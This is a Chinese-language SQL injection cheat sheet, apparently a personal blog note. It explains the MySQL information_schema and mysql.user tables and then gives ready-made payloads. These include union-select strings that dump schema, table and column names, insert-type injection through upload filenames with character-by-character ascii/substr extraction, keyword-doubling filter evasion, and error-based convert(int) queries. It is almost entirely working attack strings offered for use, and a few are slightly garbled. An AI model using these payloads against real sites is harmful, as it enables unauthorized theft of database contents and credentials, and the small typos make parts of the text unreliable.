文章目录
  1. 1. information_schema数据库结构
    1. 1.1. information_schema.tables
    2. 1.2. information_schema.columns
  2. 2. mysql.user
  3. 3. mysql
  4. 4. insert类型注入
    1. 4.1. 0x01 爆版本号
    2. 4.2. 0x02 爆数据库(逐字)
    3. 4.3. 0x03 逐字爆表–查表原理
    4. 4.4. 0x04 逐字爆字段–查表原理
  5. 5. access:

information_schema数据库结构

information_schema.tables

数据库和表tables的关系库

1
2
3
+----TABLE_SCHEMA-------TABLE_NAME-------+
|----所有数据库名 ------- 所有的表名 -------|
+----------------------------------------+

information_schema.columns

数据库,表和字段columns的关系库

1
2
3
+----TABLE_SCHEMA-------TABLE_NAME-------COLUMN_NAME-----+
|----所有数据库名 ------- 所有的表名 ------ 所有的字段名 ----|
+--------------------------------------------------------+

mysql.user

数据库连接所检测的帐号密码
Host User Password

mysql

1
2
3
4
5
6
7
by blackbap.org
爆所有数据库名:
union select 1,2,3,4,5,GROUP_CONCAT(DISTINCT table_schema) from information_schema.columns
爆所有表段名称:
union select 1,2,3,4,5,GROUP_CONCAT(DISTINCT table_namer) from information_schema.columns where table_schema(表名)=0x64625F6368696E615F717562616E5F636E //表名写成16进制就不需要添加单引号了
admin表里面所有字段名称:
union select 1,2,3,4,5,GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E

insert类型注入

例如文件上传中的文件名注入.etc

0x01 爆版本号

[‘+] concat( (select version() )) [+’]

0x02 爆数据库(逐字)

  1. 长度

    1
    '+concat( ( select length(database()) )+'
  2. 逐字爆库名

    1
    2
    '+concat( ( selecselectt ascii((substr(database(),1,1))) ) )+'
    '+concat( ( selecselectt ascii((substr(database(),2,1))) ) )+'

….etc

0x03 逐字爆表–查表原理

1
2
3
4
5
6
7
concat( (
select ascii(
substr(
(selselectect table_name frfromom information_schema.tables where table_schema=database() limit 0,1)
,1,1)) ) )
-- limit 0,1 是因为数据库可能会有很多表,limit限制显示的行数
limit 1,1 即可查第二个表,后面同理

0x04 逐字爆字段–查表原理

1
2
3
4
5
concat((
select ascii(
substr((select column_name from information_schema.columns where table_name = '爆出来的表名' limit 0,1)
,1,1))
))

access:

1
2
3
4
#top x:      选取前面x行  非Mysql语法,mysql可以用limit代替
1=convert(int,(select+top+1+table_name+from+information_schema.tables))
1=convert(int,(select+top+1+table_name+from+information_schema.tables where table_name not in('第一个表名')))
1=convert(int,(select+top+1+table_name+from+information_schema.tables where table_name not in('第二个表名','第一个表名')))

可以学习过滤语句 where 字段名 not in('xxx1','xxx2'[,'xxxn']);

文章目录
  1. 1. information_schema数据库结构
    1. 1.1. information_schema.tables
    2. 1.2. information_schema.columns
  2. 2. mysql.user
  3. 3. mysql
  4. 4. insert类型注入
    1. 4.1. 0x01 爆版本号
    2. 4.2. 0x02 爆数据库(逐字)
    3. 4.3. 0x03 逐字爆表–查表原理
    4. 4.4. 0x04 逐字爆字段–查表原理
  5. 5. access: